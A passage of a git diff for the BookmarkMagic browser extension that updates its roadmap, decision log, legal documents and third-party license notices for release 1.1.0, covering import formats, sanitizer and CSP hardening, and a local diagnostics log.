DISCLAIMER now describes Replace as it really behaves (confirmation with exact
|
||||
counts, refusal when no restorable backup is possible). PRIVACY now describes
|
||||
the in-memory diagnostics log, the Chrome Web Store's own role, what happens
|
||||
when a user opens a bookmark (the browser's request, not the Extension's), and
|
||||
what the build compiles in. THIRD_PARTY_NOTICES now lists the Svelte runtime,
|
||||
its `clsx` helper and WXT's browser shim, which the build always compiled in. **Not a bump:**
|
||||
every change clarifies or corrects a description of what was already true, or
|
||||
removes an obligation; none adds one or a data flow.
|
||||
|
||||
**What each `LEGAL_VERSION` means** — the text a user who accepted that number
|
||||
agreed to:
|
||||
|
||||
| `LEGAL_VERSION` | Accepted text | Notes |
|
||||
|---|---|---|
|
||||
| 1 | The four `legal/` files as published 2026-07-26, with the clarifications of 2026-08-03 and 2026-10-29 | The clarifications are listed above; git history has each wording |
|
||||
|
||||
### 3.2 `LICENSE`
|
||||
|
||||
Full GPL-3.0 text at **repo root** (already committed). Variant resolved:
|
||||
@@ -85,15 +107,23 @@ same value in `package.json#license` (`01 §5`).
|
||||
| Surface | Shows |
|
||||
|---|---|
|
||||
| First-run gate | Summary + 4 links + accept |
|
||||
| About tab | 4 links + accepted date/version + "Third-party dependencies: None" |
|
||||
| About tab | 4 links + accepted date/version + "Third-party code" (the Svelte runtime with clsx, and WXT's browser shim — MIT, as compiled in) + Copy diagnostics |
|
||||
| Store listing | GitHub link; privacy-policy URL in Privacy tab |
|
||||
| README | License badge, links to `legal/` |
|
||||
|
||||
## 5. Third-party & donations note
|
||||
|
||||
- v1 ships **zero runtime dependencies** → About states "None". If `fflate`
|
||||
lands in v1.1, About must render its name + MIT license text (add
|
||||
`THIRD_PARTY_NOTICES.md` generated at build time — keep the rule ready).
|
||||
- **Zero runtime dependencies are installed**, but the build compiles a few
|
||||
MIT-licensed pieces into the package: the Svelte runtime, `clsx` (which the
|
||||
Svelte runtime imports) and WXT's one-line `browser` shim (`wxt` +
|
||||
`@wxt-dev/browser`). `wxt.config.ts` fails the build when any other package
|
||||
would ship (`CREDITED_PACKAGES`). Through v1.0.x the About tab said "None"
|
||||
and THIRD_PARTY_NOTICES said "no third-party code" — both wrong, corrected in
|
||||
v1.1.0. The notices ship as `THIRD_PARTY_NOTICES.txt` (from `src/public/`),
|
||||
which `check:manifest` requires in every build; `legal/THIRD_PARTY_NOTICES.md`
|
||||
is the same list for readers of the repository. A new runtime dependency
|
||||
(`fflate`, if ever) adds its name and license text to both files in the same
|
||||
pull request, and the About tab names it.
|
||||
- Donate links live in About + README only — outbound links are fine on CWS;
|
||||
no payment functionality inside the extension. Handles are resolved (from the
|
||||
portfolio's `.github/FUNDING.yml`, which this repo copies verbatim):
|
||||
|
||||
@@ -25,6 +25,7 @@ Build-phase breakdown lives in `CLAUDE.md` (single source for sequencing).
|
||||
| **v1.0.1 released** | ✔ 2026-08-03 | signed tag on `4654086`, GitHub Release with a `sha256sum -c`-verified zip; shipped manifest `1.0.1`, permissions unchanged. `announce` skipped (no `DISCORD_ANNOUNCE`), store publish skipped (no `CWS_AUTOPUBLISH`) |
|
||||
| **v1.0.1 submitted** | ✔ 2026-08-03 | uploaded to the CWS dashboard by hand (`13 §1b` step 6) |
|
||||
| **v1.0.1 published** | ✔ observed 2026-10-28 | listing shows version 1.0.1 (`Updated: August 3, 2026`), 5 users. ⚠️ Exact approval date not recorded; `13 §1b` step 10 (clean-profile install of the published build + upgrade re-check) has no recorded result |
|
||||
| 7 — v1.1.0 | in review 2026-10-29 | PR-A toolchain/CI/Sonar merged as #26; PR-B (import redesign, Chrome/Firefox formats, Merge reuse, Edit store + Sort A→Z + reorder, technical UI, diagnostics, docs/legal) on `release/1.1.0` |
|
||||
|
||||
**Verified on real browsers 2026-07-25:** Chrome and Brave, unpacked build.
|
||||
Until that point every phase had been tested only against a hand-rolled
|
||||
@@ -121,11 +122,44 @@ independently of the package (`13 §5`), though the copy should still go through
|
||||
| Feature | Notes |
|
||||
|---|---|
|
||||
| Automated CWS publishing | Flip `CWS_AUTOPUBLISH=true`; `wxt submit` in release workflow (`12 §3`). |
|
||||
| Import Chrome's internal `Bookmarks` JSON file | New parser (`roots.bookmark_bar/other/synced` shape); users often have this file from profile backups. |
|
||||
| Import Firefox `.json` backup | GUID/typeCode schema → BookmarkNode mapping. |
|
||||
| ✔ Import Chrome's internal `Bookmarks` JSON file | **Shipped in v1.1.0** (`04 §2a`). |
|
||||
| ✔ Import Firefox `.json` backup | **Shipped in v1.1.0** (`04 §2b`). The compressed automatic backups (`.jsonlz4`) are a separate item: a ~80-line pure-TS LZ4 block decoder, no dependency. |
|
||||
| "Export all formats as .zip" | First runtime dep decision: `fflate` (gated, `01 §4`; About/THIRD_PARTY updates per `14 §5`). |
|
||||
| Aggressive-dedupe toggle | Optional `www.`/`utm_*` stripping in normalize (off by default). |
|
||||
| Sort folder A→Z action | In #edit context menu (bulk `move` with index). |
|
||||
| ✔ Sort folder A→Z action | **Shipped in v1.1.0** — a row action and a toolbar button, planned first and confirmed with a count (`03 §3`). |
|
||||
|
||||
### Next direction (written 2026-10-29, ordered by value per risk)
|
||||
|
||||
1. **v1.1.x — automate the upgrade test.** An end-to-end run with Playwright's
|
||||
bundled Chromium (`--load-extension` still works there; branded Chrome
|
||||
dropped it in 137) that installs 1.0.1, upgrades over the same profile and
|
||||
runs the `11 §5` smoke in CI. Needs a dev-dependency approval (`01 §4`).
|
||||
2. **v1.1.x — Firefox automatic backups** (`.jsonlz4`): a ~80-line pure-TS LZ4
|
||||
block decoder, no dependency. Also: capture a real Chrome HTML + `Bookmarks`
|
||||
pair to sit beside the hand-built `chrome-156-*` fixtures, and the JA native
|
||||
review.
|
||||
3. **v1.2 — the aggressive-dedupe toggle** (deferred this round), a
|
||||
session-scoped import undo, Biome linting of `.svelte` files, and true
|
||||
virtualization of the edit tree if 500-row chunks prove too coarse.
|
||||
4. **v1.2+ — automated CWS publishing** once the owner creates the `CHROME_*`
|
||||
secrets; Edge Add-ons and Firefox AMO listings through WXT's multi-target
|
||||
build (each a separate go/no-go).
|
||||
|
||||
### Backlog carried from the v1.1.0 audit
|
||||
|
||||
Items found by the 2026-10-28 audit and not closed in v1.1.0, with their IDs:
|
||||
cL6 non-UTF-8 charsets in HTML imports; cL9 an extension allowlist on drop
|
||||
(content sniffing is the gate, so not planned); cL13 a newline inside a title
|
||||
for Chrome's line-based importer; sA8.1 Biome does not lint `.svelte`. From
|
||||
the post-implementation review: a keyboard way to place an item before or after
|
||||
a sibling (drag has it; "Move to…" only appends); true virtualization of the
|
||||
edit tree (a 500-row window around the focus shipped — `05 §9`); a
|
||||
`require-trusted-types-for 'script'` CSP, which would make Chrome itself
|
||||
enforce the raw-HTML ban (the Svelte runtime already creates the policy;
|
||||
untested in extension pages); an input on the ops repo's reusable workflow to
|
||||
skip install scripts in the `Build + package` job (`12 §2`); whether a
|
||||
screen reader reads a focused row's button labels with its name (unconfirmed
|
||||
without one).
|
||||
|
||||
## v1.2 — resilience
|
||||
|
||||
@@ -228,3 +262,37 @@ independently of the package (`13 §5`), though the copy should still go through
|
||||
| 2026-10-28 | **The sanitizer reads the browser JSON formats and is default-deny for JSON.** It accepted any JSON and rewrote only `url`/`title`, so Chrome's profile `Bookmarks` file — titles under `name`, plus `meta_info` and a base64 sync blob — came out with every title intact and passed its own host check. JSON dialects are now recognised by shape (anything else refused), every string value is rewritten except structural keys, Firefox root GUIDs and the timestamps survive | 09 §6 |
|
||||
| 2026-10-28 | **The sanitizer's backstop reads the output's text, not just its hosts.** For HTML it strips markup and refuses on any word that is not a placeholder — independent of the rewriting rules, unlike the old check (and its test), which shared their blind spots. It also stopped overwriting the input when the output path equalled it, checks size before reading, decodes attributes once (CodeQL double-escaping) and finds `<DD>` notes in linear time (Sonar S8786), attributes included | 09 §6 |
|
||||
| 2026-10-28 | **`scripts/` obeys the size rule and is type-checked.** `docs/10 §1` now names `.mjs`; the 627-line sanitizer is split into `scripts/sanitize/` modules; every script carries `// @ts-check` and `tsconfig.scripts.json` runs them through the TS 7 `tsc` in `npm run check`. The sanitizer stays plain `.mjs` on purpose — reporters run it on whatever Node they have | 10 §1 |
|
||||
| 2026-10-28 | **Every reader skips what `chrome.bookmarks.create` would reject — before anything is written.** One `core/href.ts` verdict for all formats: blank → `MISSING_URL`, unparseable → `INVALID_URL`, Firefox `place:` → `PLACE_QUERIES_SKIPPED` in browser-written formats only (BM JSON/CSV are restore formats and keep it). v1.0.x let an invalid address reach the write, which failed part-way — after a Replace had cleared the tree | 04 §1.2, 05 §1 |
|
||||
| 2026-10-28 | **Empty titles stay empty.** `textContent \|\| href` turned a deliberately favicon-only Bookmarks Bar into a row of URLs after one export/import cycle; Chrome shows the address itself when it needs a title. `EMPTY_TITLE` now just counts them | 05 §1 |
|
||||
| 2026-10-28 | **The Netscape walk reads every entry the file holds**: lists swallowed by a loose bookmark, entries hidden inside a re-opened `<b>`, root lists wrapped in `<div>`. Root markers are read by value (`="false"` is not the bar). The node cap is counted on the raw text before `DOMParser` runs. Each was a silent loss in v1.0.x — a smaller tree and no warning — so `UNREADABLE_ENTRIES` now counts what still cannot be read | 04 §1.2 |
|
||||
| 2026-10-28 | **Other and Mobile get root markers, like the bar always had**: `UNFILED_BOOKMARKS_FOLDER` (Firefox's own attribute) / `MOBILE_BOOKMARKS_FOLDER` in HTML, `"root"` in BM JSON (additive, version stays 1). A 1.0.x full-tree backup is recognised by its exact shape and marked on read, so existing backups stop nesting too | 04 §1.1, §2 |
|
||||
| 2026-10-28 | **CSV neutralizes formula cells** with one guard `'` that its own reader removes again — reversible, so the round trip stays exact. An unclosed quote is now `CSV_UNCLOSED_QUOTE` with the opening line instead of one cell swallowing the rest of the file. Same-named sibling folders merging is documented as a CSV loss | 04 §3 |
|
||||
| 2026-10-28 | **Markdown escapes every CommonMark-active character and collapses line breaks in titles.** Escaping only `[ ] ( )` let raw HTML through into the renderers a share format lands in | 04 §4 |
|
||||
| 2026-10-28 | **`warnings`/`errors` live in `locales/<lang>-notices.ts`**, re-assembled by each locale file, so all six stay under the size limit as codes are added | 07 §2 |
|
||||
| 2026-10-29 | **Chrome's profile `Bookmarks` file and Firefox's JSON backup are imported directly** — the copies people have when a browser will not start or a profile is gone, and the only ones that still say which bookmarks were in Mobile. Neither ever writes: export stays HTML/BM JSON/CSV/Markdown. Each reader is held to a **parity rule** against its browser's own HTML exporter (`chrome-156-*`, `firefox-*` fixture pairs), so the two paths into BookmarkMagic cannot disagree about the same profile | 04 §2a, §2b |
|
||||
| 2026-10-29 | **One read entry point, JSON first and parsed once.** `parseBookmarkFile` sniffs, parses and routes JSON by shape; `NOT_BM_JSON` widens to "JSON, but no bookmark file we know" rather than adding a code. The doctype probe is anchored to the start of the file, and the file picker loses its `accept` filter, which hid the extensionless `Bookmarks` file | 04 intro, 02 §7 |
|
||||
| 2026-10-29 | **Firefox's internal root names are localized by the caller** (`import.rootTitle.*`), and fall back to the file's own key — never an English string from `core/`. The i18n key is `unfiled`, not `other`: a branch with an `other` key reads as a plural to `dictionaries.test.ts` | 04 §2b, 07 |
|
||||
| 2026-10-29 | **Merge finally merges** (`core/merge.ts`): file folders reuse writable live folders with the same title, level by level, and new items are appended. 1.0.x documented path matching and planned Merge exactly like Replace, re-creating every folder. Same-named file siblings that both match share the live folder; when neither matches both are created — Merge never invents structure | 03 §1, 05 §5 |
|
||||
| 2026-10-29 | **Root folders are unwrapped by marker, not title** (`core/route.ts`): toolbar → bar, `root: other` → Other in place, `root: mobile` → Mobile (a folder under Other when the profile has none). Replace plans through the same code against emptied roots, so a restore run twice gives the same tree — 1.0.x nested Other and Mobile one level deeper per restore | 03 §1, 02 §4 |
|
||||
| 2026-10-29 | **Replace never dedupes, and the plan says so** (`plan.dedupe` is the effective value). In-file repeats are part of a backup; 1.0.x collapsed them while the box showed unchecked. Merge dedupes against the Start-time read, not the preview snapshot | 03 §1 |
|
||||
| 2026-10-29 | **The plan is built before the backup, and the backup is refused if the import could not read it back.** Compact BM JSON, checked against the node, depth and byte caps before anything is written, downloaded or deleted (`BACKUP_EXCEEDS_LIMITS`). The still-open save dialog's rejection is marked handled, so a later Cancel cannot surface as an unhandled rejection | 03 §1 step 6b, 02 §7 |
|
||||
| 2026-10-29 | **The seeded round-trip suite had been testing 200 empty trees since Phase 1.** xorshift32 seeded with 1–200 draws near-zero values first, so every generated tree had 0 children. `makeRng` now scrambles the seed, and every seeded suite asserts its corpus is non-trivial before asserting anything else. Found by the new merge property suite's own non-vacuity check | 11 §3 |
|
||||
| 2026-10-29 | **Sort A→Z is planned before it runs and moves only what is out of place.** Folders first, `Intl.Collator` numeric and accent/case-insensitive, stable; left-to-right moves, each taking a child from further right, so the target index needs no correction for `chrome.bookmarks.move`'s same-parent rule. The confirmation states the count; a refusal part-way says how far it got and re-reads | 03 §3 |
|
||||
| 2026-10-29 | **Drag to reorder, with before/after/into zones.** `planDrop` converts once between Chrome's pre-removal move index and `onMoved`'s post-removal one; dropping a node beside itself is no move; the permanent roots take drops into only | 03 §3, 06 §3.3 |
|
||||
| 2026-10-29 | **Live sync is batched per animation frame and re-reads on bursts** (more than 500 queued events), after a wholesale reorder and after Chrome's own import. Each listener is isolated in try/catch. 1.0.x patched the whole tree — and rescanned it for duplicates — once per event | 03 §3 |
|
||||
| 2026-10-29 | **Bounded rendering ships as 500-row chunks, not windowing.** The edit tree, the import preview and the export picker mount 500 rows at a time with "Show more"; the focused row is always mounted. Windowing was the plan; chunking gives the same bound with none of the keyboard/DnD risk, and windowing moves to the backlog | 05 §9 |
|
||||
| 2026-10-29 | **One modal for every dialog** (`Modal.svelte`, native `<dialog>`): focus in, Esc, focus returned, and no cancel callback after a confirm. Move-to was a positioned `<div>` that focus never entered | 06 §5 |
|
||||
| 2026-10-29 | **The v1.1 look is "technical"**: cool neutrals, a mono stack for labels and numbers, a faint grid, 6/4 px radii, a self-drawn SVG icon set, an IDE-style status bar. No font is bundled. Every animation and moving transition sits inside `prefers-reduced-motion: no-preference`, enforced by `motion.test.ts`; text clears 4.5:1 and control boundaries 3:1 on every surface, enforced by `contrast.test.ts` | 06 §1 |
|
||||
| 2026-10-29 | **Replace asks first, with numbers.** The confirmation states how many bookmarks and folders will be deleted and how many written; the Start button counts what a preview plan will really import, not what the file holds | 03 §1, 09 T4 |
|
||||
| 2026-10-29 | **One writer across Manager tabs** (Web Locks, `ifAvailable`): a second tab's import, sort or duplicate clean-up is refused at once with `WRITE_LOCKED`. The import takes the lock after opening the save picker, so the click's activation still holds | 03 §5, 08 §2 |
|
||||
| 2026-10-29 | **The popup routes an open Manager** over a `BroadcastChannel` instead of only focusing it; the Manager refuses while an import writes | 02 §6 |
|
||||
| 2026-10-29 | **A local diagnostics log, copied by the user.** In memory, 200 allowlisted events (phases, codes, counts, error names), recorded at the one place failures are described — by code, never detail text. No storage, no network, no new permission. A PRIVACY clarification, not a bump | 09 §7, 14 §3.1 |
|
||||
| 2026-10-29 | **Failure toasts stay until dismissed**; success and info still leave after 4 s | 06 §4 |
|
||||
| 2026-10-29 | **About and THIRD_PARTY_NOTICES stop saying "no third-party code"** — the build always compiled in the Svelte runtime, its `clsx` helper and WXT's browser shim (all MIT; `clsx` was found by the review, not by the first fix). The notices now ship as `THIRD_PARTY_NOTICES.txt`, required by `check:manifest`, and `wxt.config.ts` fails the build when an uncredited package would ship | 14 §5 |
|
||||
| 2026-10-29 | **Contact aliases per purpose**: security@ (SECURITY.md), privacy@ (PRIVACY), legal@ and dmca@ (EULA, DISCLAIMER), copyright@ (licensing), takedown@ (impersonating copies), code@ (CoC, contributing, issue chooser), sponsor@/collab@/press@ (README); contact@ retired. Still none inside the product — `links.test.ts` now scans all of `src/` | 14 §3.1, 09 §6 |
|
||||
| 2026-10-29 | **Legal clarifications, no `LEGAL_VERSION` bump**: version/date headers, a copyright line, EULA clause 3 as a non-binding note (GPL §10), DISCLAIMER's Replace description, PRIVACY on diagnostics, the Web Store and opening a bookmark | 14 §3.1 |
|
||||
| 2026-10-29 | **`scripts/screenshots.mjs`** serves the built extension with a fake `chrome`, neutral sample data and the production CSP as a meta tag; `--shoot` drives headless Chrome for `capture/` and the store set. Visual QA and listing screenshots stop depending on anyone's real profile. It listens on 127.0.0.1 only, and runs Chrome asynchronously — `execFileSync` blocked the very server Chrome was waiting on | 11 §5, 13 |
|
||||
| 2026-10-29 | **Review of the 1.1.0 UI, acted on before release**: the edit tree keeps focus on a rendered row and returns it from the rename box; a bulk command locks every other write in the session, not just the toolbar; a folder closed during a search stays closed; #edit mounts a 500-row window around the focus instead of a growing prefix; failures get a pinned toast slot so later toasts still show; the import moves focus to each step's heading and announces its outcome; dialogs name their × "Dismiss"; the import preview's new/dup badges show again (a deep `$state` proxy broke their WeakMap lookups — already broken in 1.0.x) | 03 §3, 05 §9, 06 §4–§5 |
|
||||
| 2026-10-29 | **The extension-page CSP gains `default-src 'none'`** — reversing the earlier "deliberately no default-src". Every directive the pages use is listed, so it changes nothing for them, and it closes what was left open (manifests, prefetch). WebRTC, which no CSP directive Chrome enforces governs, stays covered by the bundle and source scans | 08 §3 |
|
||||
| 2026-10-29 | **Diagnostics allowlist enforced by types**: every `DiagEvent` string field is a union of fixed values, error names pass through an allowlist (`'other'` otherwise), and `@ts-expect-error` tests keep a title from compiling | 09 §7 |
|
||||
| 2026-10-29 | **SonarCloud runs in two jobs**: coverage with no secret, then a scan that installs nothing and gets the lcov report as an artifact — a job's secrets are readable by every step on its runner | 12 §2.5 |
|
||||
@@ -1,15 +1,27 @@
|
||||
# Disclaimer — BookmarkMagic
|
||||
|
||||
Terms version 1 · Effective 2026-07-26 · Last updated 2026-10-29
|
||||
|
||||
- Provided "AS IS", without warranty of any kind (see LICENSE §15–16).
|
||||
- Bookmark operations modify your browser's bookmark data. The "Replace
|
||||
everything" mode DELETES all existing bookmarks after saving an automatic
|
||||
safety backup. You are responsible for keeping backups of data you care
|
||||
about.
|
||||
everything" mode DELETES all existing bookmarks. Before it does, it saves a
|
||||
safety backup and asks you to confirm with the exact numbers it will delete
|
||||
and write; it does not start if your bookmarks are larger than a backup the
|
||||
Extension could read back. If the browser stops part-way, what was already
|
||||
deleted can be restored by importing that backup. You remain responsible for
|
||||
keeping backups of data you care about.
|
||||
- Imported bookmarks are created with the current date and time. Chrome's
|
||||
extension API does not allow an extension to set a bookmark's original
|
||||
creation date, so original dates are preserved in your exported *files* but
|
||||
not when writing back into the browser.
|
||||
- Import files come from outside this Extension; verify you trust their source.
|
||||
Bookmarked URLs are stored as-is and are not vetted by the Extension.
|
||||
- This project is not affiliated with or endorsed by Google, Chrome, or any
|
||||
browser vendor. Browser names are trademarks of their respective owners.
|
||||
- This project is not affiliated with or endorsed by Google, Chrome, Mozilla,
|
||||
Firefox or any browser vendor. Browser names are trademarks of their
|
||||
respective owners.
|
||||
- The BookmarkMagic name and icon identify this project, published by skullmute
|
||||
(poli0981). The GPL lets anyone fork the code; it does not let a fork present
|
||||
itself as this project. Report a copy that does to **takedown@poli0981.dev**,
|
||||
and formal copyright notices to **dmca@poli0981.dev**.
|
||||
|
||||
Questions about this disclaimer: **legal@poli0981.dev**.
|
||||
@@ -1,5 +1,9 @@
|
||||
# End User License Agreement — BookmarkMagic
|
||||
|
||||
Terms version 1 · Effective 2026-07-26 · Last updated 2026-10-29
|
||||
|
||||
Copyright © 2026 skullmute ([poli0981](https://github.com/poli0981)).
|
||||
|
||||
1. **License.** The software is free software licensed under the GNU General
|
||||
Public License v3.0 or later (see LICENSE). You may use, study, share, and
|
||||
modify it under those terms. This EULA adds no restrictions beyond the GPL;
|
||||
@@ -7,9 +11,19 @@
|
||||
2. **No warranty; limitation of liability.** As stated in GPL-3.0 §15 and §16,
|
||||
the software is provided without warranty, and authors are not liable for
|
||||
damages, including loss of bookmark data.
|
||||
3. **Acceptable use.** You agree not to use the software to violate applicable
|
||||
law or third-party rights.
|
||||
3. **A note on use — not a condition.** Please do not use the software to break
|
||||
the law or to infringe anyone's rights. This restates what the law already
|
||||
requires; it is not an additional license term, because GPL-3.0 §10 does not
|
||||
allow one, and your rights under the GPL do not depend on it.
|
||||
4. **Your data.** The software processes bookmark data locally on your device
|
||||
only (see PRIVACY.md).
|
||||
only, and sends nothing anywhere (see PRIVACY.md).
|
||||
5. **Updates.** Updates are delivered via the Chrome Web Store and may change
|
||||
functionality. Material legal changes trigger re-acceptance in-app.
|
||||
6. **Contact.** Questions about these terms: **legal@poli0981.dev**. Formal
|
||||
copyright infringement (DMCA) notices: **dmca@poli0981.dev**.
|
||||
|
||||
---
|
||||
|
||||
*Clarified on 2026-10-29: clause 3 was worded as an obligation, which a GPL
|
||||
program cannot impose; it is now a note, and clause 6 gives contacts. Nothing
|
||||
you agreed to changed, so no re-acceptance is requested (`docs/14 §3.1`).*
|
||||
@@ -1,6 +1,6 @@
|
||||
# Privacy Policy — BookmarkMagic
|
||||
|
||||
Last updated: 2026-08-03
|
||||
Terms version 1 · Effective 2026-07-26 · Last updated 2026-10-29
|
||||
|
||||
BookmarkMagic ("the Extension") is designed to work entirely on your device.
|
||||
|
||||
@@ -21,7 +21,17 @@ contains no analytics, telemetry, or crash reporting.
|
||||
`chrome.storage.sync`, so even your settings stay off any vendor cloud.
|
||||
|
||||
The Extension requests no other permissions. It has no host permissions, no
|
||||
content scripts, and no background service worker.
|
||||
content scripts, and no background service worker. It contains no code that
|
||||
makes network requests, and its Content-Security-Policy additionally makes the
|
||||
browser refuse fetch, XHR, WebSocket, EventSource and beacon requests and
|
||||
remote images, fonts, media and frames from its pages.
|
||||
|
||||
- **Diagnostics** (no permission needed): while a BookmarkMagic tab is open,
|
||||
it keeps a short log of what it did — import steps, error codes, counts —
|
||||
in memory, so that you can copy it into a bug report from the About tab. It
|
||||
never contains titles, addresses or file names, is never written to storage,
|
||||
disappears when the tab closes, and leaves your computer only if you paste
|
||||
it somewhere yourself.
|
||||
|
||||
## Files you import or export
|
||||
|
||||
@@ -32,7 +42,20 @@ location you control.
|
||||
## Third parties
|
||||
|
||||
No data is shared with anyone, because no data is collected. The Extension
|
||||
ships with zero runtime dependencies.
|
||||
installs no runtime dependencies; the few small MIT-licensed pieces its build
|
||||
compiles in (the Svelte runtime with its clsx helper, and WXT's browser shim —
|
||||
see THIRD_PARTY_NOTICES.md) contain no network code.
|
||||
|
||||
Two things happen outside the Extension and are worth knowing:
|
||||
|
||||
- **The Chrome Web Store** (Google) distributes the Extension and its updates.
|
||||
Installing and updating it are governed by Google's own privacy policy, not
|
||||
this one, and Google gives the developer only aggregate counts such as the
|
||||
number of users.
|
||||
- **Opening a bookmark.** When you open a bookmark from the Edit tab, your
|
||||
browser loads that page exactly as when you click any link: the request is
|
||||
the browser's, made on your instruction, to the site you chose. The
|
||||
Extension itself still sends nothing.
|
||||
|
||||
## If you contact us
|
||||
|
||||
@@ -62,7 +85,13 @@ of practice: it describes handling of material you choose to send us, which was
|
||||
never part of what the Extension itself collects — which remains nothing. No
|
||||
re-acceptance was requested.*
|
||||
|
||||
*Clarified on 2026-10-29: the diagnostics log, the Chrome Web Store, opening a
|
||||
bookmark, and what the build compiles in are now described, and the contact
|
||||
address changed. None of it changes what the Extension collects — still
|
||||
nothing — so no re-acceptance is requested (`docs/14 §3.1`).*
|
||||
|
||||
## Contact
|
||||
|
||||
Email: contact@poli0981.dev — or open an issue at
|
||||
Privacy questions, and requests to remove a sample you sent:
|
||||
**privacy@poli0981.dev** — or open an issue at
|
||||
<https://github.com/poli0981/bookmarkmagic/issues>
|
||||
@@ -1,15 +1,92 @@
|
||||
# Third-Party Notices — BookmarkMagic
|
||||
|
||||
**Runtime dependencies: None.**
|
||||
Last updated: 2026-10-29
|
||||
|
||||
The shipped extension bundles no third-party code. Parsing, serializing and
|
||||
downloading use platform APIs only (`DOMParser`, `Blob`, `URL`,
|
||||
`crypto.randomUUID`).
|
||||
**No runtime dependencies are installed** — `package.json` has an empty
|
||||
`dependencies` list (`docs/01 §4`). A few small MIT-licensed pieces are,
|
||||
however, **compiled into** the shipped extension by the build, and their
|
||||
notices travel with it in `THIRD_PARTY_NOTICES.txt` at the root of the package:
|
||||
|
||||
Build-time tooling (WXT, Vite, Svelte, TypeScript, Biome, Knip, Vitest) is not
|
||||
distributed with the extension and is not listed here. All of it is
|
||||
MIT/Apache-2.0/ISC licensed and compatible with GPL-3.0-or-later.
|
||||
| Package | What ships | License |
|
||||
|---|---|---|
|
||||
| [svelte](https://github.com/sveltejs/svelte) 5 | The runtime the compiler emits into each page (reactivity, DOM updates) | MIT |
|
||||
| [clsx](https://github.com/lukeed/clsx) 2 | A class-name helper the Svelte runtime uses | MIT |
|
||||
| [wxt](https://github.com/wxt-dev/wxt) + [@wxt-dev/browser](https://github.com/wxt-dev/wxt) | The one-line `browser` export: `globalThis.browser` when it exists, else `globalThis.chrome` | MIT |
|
||||
|
||||
If a runtime dependency is ever added — see `docs/01_TECH_STACK.md §4` for the
|
||||
gated list — its name and full license text must be added to this file in the
|
||||
same pull request, and the About tab must render it (`docs/14 §5`).
|
||||
The build enforces this list: `wxt.config.ts` fails the build when code from any
|
||||
other npm package would ship (`CREDITED_PACKAGES`), and
|
||||
`tests/unit/third-party.test.ts` checks that this file and the shipped `.txt`
|
||||
name every package on it. None of these contains network code; the
|
||||
extension's Content-Security-Policy forbids it anyway (`docs/08 §3`).
|
||||
|
||||
Build-time tooling (WXT's CLI, Vite, TypeScript, Biome, Knip, Vitest,
|
||||
svelte-check) is not distributed with the extension and is not listed here.
|
||||
All of it is MIT/Apache-2.0/ISC licensed and compatible with GPL-3.0-or-later.
|
||||
|
||||
Licensing questions: **copyright@poli0981.dev**.
|
||||
|
||||
## svelte — MIT
|
||||
|
||||
Copyright (c) 2016-2025 Svelte Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
## clsx — MIT
|
||||
|
||||
Copyright (c) Luke Edwards (lukeed.com)
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
## wxt and @wxt-dev/browser — MIT
|
||||
|
||||
Copyright (c) Aaron Klinker
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -1,12 +1,12 @@
|
||||
{
|
||||
"name": "bookmarkmagic",
|
||||
"version": "1.0.1",
|
||||
"version": "1.1.0",
|
||||
"lockfileVersion": 3,
|
||||
"requires": true,
|
||||
"packages": {
|
||||
"": {
|
||||
"name": "bookmarkmagic",
|
||||
"version": "1.0.1",
|
||||
